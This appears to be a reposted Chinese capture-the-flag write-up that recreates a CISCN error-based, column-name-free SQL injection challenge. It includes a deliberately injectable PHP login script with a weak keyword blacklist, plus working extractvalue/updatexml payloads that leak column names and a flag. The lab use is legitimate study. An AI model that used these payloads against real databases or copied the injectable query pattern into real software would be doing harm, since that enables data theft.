当前位置:   article > 正文

wp篇 复现 【全国大学生信息安全初赛】报错+无列名SQL注入

wp篇 复现 【全国大学生信息安全初赛】报错+无列名SQL注入

一,什么是无列名注入

在这里插入图片描述

二,成品展示

通过playload成功注入。
这里就不把sqlmap测试的页面附上来了,大家复现后可以自己尝试。

请添加图片描述
请添加图片描述
请添加图片描述

三,环境与代码

环境

php5.6.40,apache2.4.3,mysql5.7.27

代码

本次复现为无源码复现,是作者根据赛题大致情况,编辑代码得出的。
最关键后台代码,test.php

 <html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
 
<body>
<?php
$conn=@mysqli_connect("localhost","root","密码就不贴了","security") 
or die("Unable to connect to MySQL"); 

 /*
$on=mysqli_select_db($conn,"security");
if($on)
  echo "您要选择的数据库存在";
else
  echo "您要选择的数据库不存在 ";
echo " , ";
*/
 
       $name=$_POST['username'];
 
       $pwd=$_POST['password'];
 
       $sql="select * from users where username=('$name') and password=('$pwd')";
 
       $query=mysqli_query($conn,$sql);
       
       if(preg_match("/union|imforation|schema|innodb|information/i",$name) or preg_match("/union|imforation|schema|innodb|information/i",$pwd))
       {
           echo 'no';
       }
       elseif ($query) {
       }
       else{
           echo mysqli_error($conn);
        }
       
?>
</body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

其次,前端login.php

 <html>
<head>
<title>
报错+无列名注入
</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<style type="text/css">
body
{ 
background:url(1.png) no-repeat; 
background-size:cover;
}
</style>
</head>
 
<body>
<form action="test.php" method="post">
  <fieldset >
    <legend><font color="#FFFFFF" size='10'>ERROR_LOGIN</font></legend>
    <table>
      <tr>
        <td><font color="#99FF00"size='6'>用户名:</font></td>
        <td><input type="text" name="username" size='50' style="height:50px;width:300px;font-size:20px"></td>
      </tr>
      <tr>
        <td><font color="#99FF00" size='6'>密  码:</font></td>
        <td><input type="text" name="password" size='50' style="height:50px;width:300px;font-size:20px"></td>
      </tr>
      <tr>
        <td><input type="submit" value="提交" style='font-size:20px'></td>
        <td><input type="reset" value="重置" style='font-size:20px'></td>
      </tr>
    </table>
  </fieldset>
</form>
</body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

至于图片的话大家自己配吧,我就不贴了。

四,playload

一,简单探索

利用sqlmap扫一下。
发现是报错注入
在这里插入图片描述

经过一波测试,发现union和information被禁了,这时用updatexml或extractvalue就可以。

二,playload

出列名:

1')+and+(extractvalue(1,concat(0x7e,(select+*+from+(select+*+from+flag+as+a+join+flag+as+b+using (id))+as+c),0x7e)))--+
  • 1

出前flag:

1')||(updatexml(1,concat(0x7e,(select `numeric` from flag limit 0,1)),1))#
  • 1

出后flag:

1')||(updatexml(1,concat(0x7e,(select right((`numeric`),30) from flag limit 0,1)),1))#
  • 1

最终得到flag
CISCN{5dZZY-9bCuE-OEtFR-rE7TE-ydZZY-9bCuE-OEtFR-rE7TE-ywpu0-}
注:中间连接符使用||andor都可以

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/243818
推荐阅读
相关标签
  

闽ICP备14008679号